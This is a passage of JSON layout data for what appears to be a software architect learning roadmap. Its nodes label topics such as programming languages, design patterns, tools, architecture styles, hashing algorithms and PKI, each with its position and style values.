{\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 965.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"otHQ6ye1xgkI1qb4tEHVF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1018.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Balance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1018.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LSWlk9A3b6hco9Il_elao\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1071.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consult & Coach\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1071.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YW6j3Sg511dXToTcwSnOS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1124.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Marketing Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1124.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hFx3mLqh5omNxqI9lfaAQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 137.47717107395567,\n        \"y\": 843.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 137.47717107395567,\n        \"y\": 843.213248721831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uoDtVFThaV6OMK2wXGfP5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -311.4127590352981,\n        \"y\": 843.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Languages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -311.4127590352981,\n        \"y\": 843.213248721831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a5DB_hsD4bAf8BtHNFNPo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -311.86817520709303,\n        \"y\": 587.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java / Kotlin / Scala\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -311.86817520709303,\n        \"y\": 587.51163847671\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j2Ph2QcKwmKlbaMHz1l_i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -311.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -311.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U_Hmzfjjs1jVtu2CZ0TlG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ruby\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -217.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nKlM9k4qAh4wBFXqM-2kC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -138.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -138.86817520709303,\n        \"y\": 640.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bhP5gMpRVebSFpCeHVXBj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -311.86817520709303,\n        \"y\": 693.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript / TypeScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -311.86817520709303,\n        \"y\": 693.51163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D1IXOBUrrXf5bXhVu9cmI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -311.86817520709303,\n        \"y\": 746.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \".NET Framework Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -311.86817520709303,\n        \"y\": 746.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_U0VoTkqM1d6NR13p5azS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -311.86817520709303,\n        \"y\": 968.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Patterns & Design Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 274,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -311.86817520709303,\n        \"y\": 968.01163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AMDLJ_Bup-AY1chl_taV3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1167.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OOP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1167.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jj5otph6mEYiR-oU5WVtT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1061.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVC, MVP, MVVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"positionAbsolute\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1061.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RsnN5bt8OhSMjSFmVgw-X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1114.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CQRS, Eventual Consistency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"positionAbsolute\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1114.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AoWO2BIKG5X4JWir6kh5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -169.86817520709303,\n        \"y\": 1167.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Actors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -169.86817520709303,\n        \"y\": 1167.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bbKEEk7dvfFZBBJaIjm0j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1220.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACID, CAP Theorem\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1220.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QNG-KP01WQnq8o1-In1-n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SOLID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -307.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DnP66pjK3b8tCtYr05n2G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -207.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -207.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IIelzs8XYMPnXabFKRI51\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -122.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DDD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -122.86817520709303,\n        \"y\": 1273.213248721831\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"diu8MyHxZuZSdhavYVj1T\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 47.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 47.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZEzYb-i55hBe9kK3bla94\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.63182479290697,\n        \"y\": 915.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PyTuVs08_z4EhLwhTYzFu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.63182479290697,\n        \"y\": 915.01163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CYnUg_okOcRrD7fSllxLW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Slack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a6joS9WXg-rbw29_KfBd9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.63182479290697,\n        \"y\": 1021.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Trello\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.63182479290697,\n        \"y\": 1021.01163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3bpd0iZTd3G-H8A7yrExY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 282.63182479290697,\n        \"y\": 1074.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Atlassian Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 282.63182479290697,\n        \"y\": 1074.01163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PyTuVs08_z4EhLwhTYzFu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 356.63182479290697,\n        \"y\": 915.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.63182479290697,\n        \"y\": 915.01163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SuMhTyaBS9vwASxAt39DH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 47.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 47.63182479290697,\n        \"y\": 968.01163847671\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OaLmlfkZid7hKqJ9G8oNV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 47.63182479290697,\n        \"y\": 1110.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 47.63182479290697,\n        \"y\": 1110.213248721831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FAXKxl3fWUFShYmoCsInZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1247.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1247.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mka_DwiboH5sGFhXhk6ez\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1300.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client / Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1300.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"05hLO2_A8Tr6cLJGFRhOh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1353.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Layered\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1353.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j7OP6RD_IAU6HsyiGaynx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1406.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Distributed Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1406.213248721831\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6uvmMgvOwGyuLC5TOhjFu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1459.213248721831\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Oriented\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 17.13182479290697,\n        \"y\": 1459.213248721831\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 267.09445895848086,\n        \"y\": 1256.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hjlkxYZS7Zf9En3IUS-Wm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 267.09445895848086,\n        \"y\": 1256.51163847671\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7tBAD0ox9hTK4D483GTRo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1203.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hashing Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1203.51163847671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OpL2EqvHbUmFgnpuhtZPr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 504.2550655698143,\n        \"y\": 1256.51163847671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PKI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      